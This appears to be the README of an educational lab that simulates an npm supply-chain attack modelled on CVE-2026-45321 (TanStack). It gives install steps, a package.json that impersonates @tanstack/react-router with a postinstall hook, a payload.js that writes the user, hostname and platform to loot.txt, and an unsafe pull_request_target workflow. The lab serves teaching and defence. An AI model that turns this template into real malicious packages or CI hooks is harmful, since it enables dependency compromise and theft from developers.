Supply Chain Attack Simulation — CVE-2026-45321 (TanStack)

Educational Lab for Understanding npm Supply Chain Attacks, CI/CD Abuse, and Install-Time Code Execution

Disclaimer

This project is created only for:

• cybersecurity learning,
• defensive security research,
• local lab simulation,
• understanding the concept of supply chain attack.

Do not use this project for:

• attacking real systems,
• stealing credentials,
• malware deployment,
• unauthorized access,
• or any other illegal activities.

Description

This lab simulates the basic concepts of the incident:

• CVE-2026-45321
• TanStack npm Supply Chain Compromise
• GitHub Actions CI/CD Abuse
• npm Lifecycle Script Execution

The simulation is conducted locally and safely without:

• real credential stealing,
• token exfiltration,
• or compromise of third-party services.

Lab Structure

lab/
├── fake-repo/          # Simulasi repository target
├── attacker-package/   # Simulasi package malicious
└── victim-project/     # Simulasi korban

How the Simulation Works

Attacker Package
        ↓
npm install
        ↓
postinstall script berjalan
        ↓
payload.js dieksekusi otomatis
        ↓
Korban terkena install-time execution

Concepts Learned

• npm lifecycle hooks
• install-time arbitrary code execution
• supply chain attack
• CI/CD trust boundary
• malicious npm package
• postinstall abuse
• dependency compromise

Installation

1. Clone Repository

git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

Attacker Package Setup

2. Enter the Attacker Package Folder

cd attacker-package

3. Install Dependencies

npm install

4. Build Tarball Package

npm pack

Result:

tanstack-react-router-1.169.5.tgz

Victim Simulation

5. Enter the Victim Project

cd ../victim-project

6. Install Malicious Package

npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

Output

If successful, the following will appear:

=== MALICIOUS PAYLOAD EXECUTED ===

and the file:

loot.txt

will be automatically created.

Example payload.js

const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

Example package.json

{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

CI/CD Simulation

This project can also be used to understand:

• GitHub Actions
• pull_request_target
• CI/CD privilege boundary
• dependency execution

Example workflow:

name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install

Relation to CVE-2026-45321

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-45321
• https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
• https://docs.npmjs.com/cli/v10/using-npm/scripts
• https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

Educational Purpose Only

This lab is created to raise awareness regarding:

• supply chain security,
• dependency security,
• CI/CD security,
• and defensive security research.